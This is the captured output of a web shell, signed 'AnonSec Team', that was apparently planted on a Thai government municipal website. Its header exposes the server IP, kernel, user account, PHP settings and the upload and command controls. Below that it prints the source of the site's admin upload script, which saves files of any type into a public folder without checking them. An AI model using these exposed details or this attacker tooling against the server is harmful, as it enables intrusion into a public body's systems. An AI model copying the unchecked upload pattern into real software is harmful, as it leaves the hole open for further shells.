NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 3.144.16.26
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/domains/sumpatuan.go.th/public_html/admin/data/action/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/domains/sumpatuan.go.th/public_html/admin/data/action/save-Plan-adddata.php
<?php
require_once('session_backend_administrator.php');
header('Content-Type: text/html; charset=UTF-8');
date_default_timezone_set("Asia/Bangkok"); 
$datetime = date('d/m/Y H.i'); 

//// function Transparency BG
function setTransparency($new_image,$image_source){
    $transparencyIndex = imagecolortransparent($image_source);
    $transparencyColor = array('red' => 255, 'green' => 255, 'blue' => 255);
    if ($transparencyIndex >= 0) {
        $transparencyColor    = imagecolorsforindex($image_source, $transparencyIndex);    
    }
    $transparencyIndex    = imagecolorallocate($new_image, $transparencyColor['red'], $transparencyColor['green'], $transparencyColor['blue']);
    imagefill($new_image, 0, 0, $transparencyIndex);
    imagecolortransparent($new_image, $transparencyIndex);

} 

if($STT_login=="admin_login_true"){
    
    if( !isset($_POST['txt_year']) or !isset($_POST['txt_name']) or !isset($_POST['txt_type']) ){
        echo "<SCRIPT type='text/javascript'>
                alert('กรุณากรอกข้อมูลให้ครบ');
                window.location.replace(document.referrer);
            </SCRIPT>";
        exit;
    }else{

        $data_yearplan = trim($con_db_administrator->real_escape_string($_POST['txt_year']));
        $data_nameplan = trim($con_db_administrator->real_escape_string($_POST['txt_name']));
        $data_typeplan = $con_db_administrator->real_escape_string($_POST['txt_type']);
        $data_sttplan = $con_db_administrator->real_escape_string($_POST['statusshow']);
        $data_linkplan = $con_db_administrator->real_escape_string($_POST['linkplan']);

        $date = $_POST['txt_date'];
        $lastupdate_plan = date("d/m/Y",strtotime($date));
    
        $total_filedoc = count($_FILES['uploadFile']['name']);
        
            /////// insert DATA to SQL

            $insert_plan = " INSERT INTO `data_plan`(`name_plan`, `type_plan`, `year_plan`, `stt_plan`, `lastupdate_plan`)
                              VALUES ( '$data_nameplan', '$data_typeplan', '$data_yearplan', '$data_sttplan', '$lastupdate_plan' )";
            $action_plan = $con_db_administrator->query($insert_plan);
            if(!$action_plan){
                echo "<SCRIPT type='text/javascript'>
                        alert('เพิ่มข้อมูลไม่สำเร็จ กรุณาลองใหม่อีกครั้ง');
                        window.location.replace('../$data_linkplan');
                    </SCRIPT>";
                exit;
            }else{
                if($total_filedoc==0){
                    echo "<SCRIPT type='text/javascript'>
                            alert('เพิ่มข้อมูลใหม่ สำเร็จ [non-file]');
                            window.location.replace('../$data_linkplan');
                        </SCRIPT>";
                    exit;
                }else{

                    $sql_data = " SELECT `id_plan` FROM `data_plan` WHERE `name_plan`='$data_nameplan' AND `lastupdate_plan`='$lastupdate_plan' ORDER BY `id_plan` DESC LIMIT 1 "; 
                    $qr_data = mysqli_query($con_db_administrator, $sql_data); 
                    $rs_data = mysqli_fetch_assoc($qr_data); 

                    $id_tbdata_filedoc = $rs_data['id_plan'];
                    $tbdata_filedoc ='data_plan';

                    if($id_tbdata_filedoc !="" or isset($id_tbdata_filedoc) ){
                        $dt_addfile = date('YmdHis'); 
                        for($i=0;$i<$total_filedoc;$i++){

                            $filedoc = $_FILES["uploadFile"]["tmp_name"][$i];
                            $oldname_filedoc = trim($_FILES['uploadFile']['name'][$i]);
                            $type_filedoc = pathinfo($_FILES['uploadFile']['name'][$i],PATHINFO_EXTENSION);
                            $newname_filedoc = "FILEP".$id_tbdata_filedoc."_".$dt_addfile."_".$i.".".$type_filedoc;
                            $keep_filedoc = "../../../doc/dt/";
                            $move_filedoc = $keep_filedoc.$newname_filedoc;
                            $path_filedoc = "doc/dt/".$newname_filedoc;
                            $width=1200;
                            if( exif_imagetype($filedoc) == IMAGETYPE_JPEG ) {
                                $size=GetimageSize($filedoc);
                                if($size[0]>=$width){
                                    $height=round($width*$size[1]/$size[0]);
                                    $filedoc_orig = ImageCreateFromJPEG($filedoc);
                                    $photoX = ImagesX($filedoc_orig);
                                    $photoY = ImagesY($filedoc_orig);
                                    $filedoc_fin = ImageCreateTrueColor($width, $height);
                                    setTransparency($filedoc_fin,$filedoc_orig);
                                    ImageCopyResampled($filedoc_fin, $filedoc_orig, 0, 0, 0, 0, $width+1, $height+1, $photoX, $photoY);
                                    ImageJPEG($filedoc_fin, $move_filedoc);
                                    ImageDestroy($filedoc_orig);
                                    ImageDestroy($filedoc_fin);
                                }else{
                                    move_uploaded_file($_FILES['uploadFile']['tmp_name'][$i],$move_filedoc); 
                                }
                            }elseif( exif_imagetype($filedoc) == IMAGETYPE_PNG ){
                                $size=GetimageSize($filedoc);
                                if($size[0]>=$width){
                                    $height=round($width*$size[1]/$size[0]);
                                    $filedoc_orig = ImageCreateFromPNG($filedoc);
                                    $photoX = ImagesX($filedoc_orig);
                                    $photoY = ImagesY($filedoc_orig);
                                    $filedoc_fin = ImageCreateTrueColor($width, $height);
                                    setTransparency($filedoc_fin,$filedoc_orig);
                                    ImageCopyResampled($filedoc_fin, $filedoc_orig, 0, 0, 0, 0, $width+1, $height+1, $photoX, $photoY);
                                    imagepng($filedoc_fin, $move_filedoc);
                                    ImageDestroy($filedoc_orig);
                                    ImageDestroy($filedoc_fin);
                                }else{
                                    move_uploaded_file($_FILES['uploadFile']['tmp_name'][$i],$move_filedoc); 
                                }
                            }elseif( exif_imagetype($filedoc) == IMAGETYPE_GIF ){
                                $size=GetimageSize($filedoc);
                                if($size[0]>=$width){
                                    $height=round($width*$size[1]/$size[0]);
                                    $filedoc_orig = ImageCreateFromGIF($filedoc);
                                    $photoX = ImagesX($filedoc_orig);
                                    $photoY = ImagesY($filedoc_orig);
                                    $filedoc_fin = ImageCreateTrueColor($width, $height);
                                    setTransparency($filedoc_fin,$filedoc_orig);
                                    ImageCopyResampled($filedoc_fin, $filedoc_orig, 0, 0, 0, 0, $width+1, $height+1, $photoX, $photoY);
                                    imagegif($filedoc_fin,$move_filedoc);
                                    ImageDestroy($filedoc_orig);
                                    ImageDestroy($filedoc_fin);
                                }else{
                                    move_uploaded_file($_FILES['uploadFile']['tmp_name'][$i],$move_filedoc); 
                                }
                            }else{
                                move_uploaded_file($_FILES['uploadFile']['tmp_name'][$i],$move_filedoc); 
                            }
        
                            $insert_filedoc = " INSERT INTO `data_filedoc`(`name_filedoc`, `type_filedoc`, `path_filedoc`, `id_tbdata_filedoc`,`tbdata_filedoc` )
                                                VALUES ('$oldname_filedoc', '$type_filedoc', '$path_filedoc', '$id_tbdata_filedoc', '$tbdata_filedoc' ) ";      
                            $action_filedoc = $con_db_administrator->query($insert_filedoc);
                            if(!$action_filedoc){
                                echo "<SCRIPT type='text/javascript'>
                                        alert('เพิ่มข้อมูลไม่สำเร็จ กรุณาลองใหม่อีกครั้ง [insert_filedoc]');
                                        window.location.replace('../$data_linkplan');
                                    </SCRIPT>";
                                exit;
                            }
                        }

                        echo "<SCRIPT type='text/javascript'>
                                alert('เพิ่มข้อมูลใหม่ สำเร็จ');
                                window.location.replace('../$data_linkplan');
                            </SCRIPT>";
                        exit;

                        
                    }else{
                        echo "<SCRIPT type='text/javascript'>
                                alert('เพิ่มข้อมูลไม่สำเร็จ กรุณาลองใหม่อีกครั้ง [2]');
                                window.location.replace('../$data_linkplan');
                            </SCRIPT>";
                        exit;
                    }

                }

            }
            
    }

}else{
    echo "<SCRIPT type='text/javascript'>
        alert('กรุณาเข้าสู่ระบบ');
        window.location.replace('../../index');
    </SCRIPT>";
    exit;
}
mysqli_close($con_db_administrator);
?>

Anon7 - 2022
AnonSec Team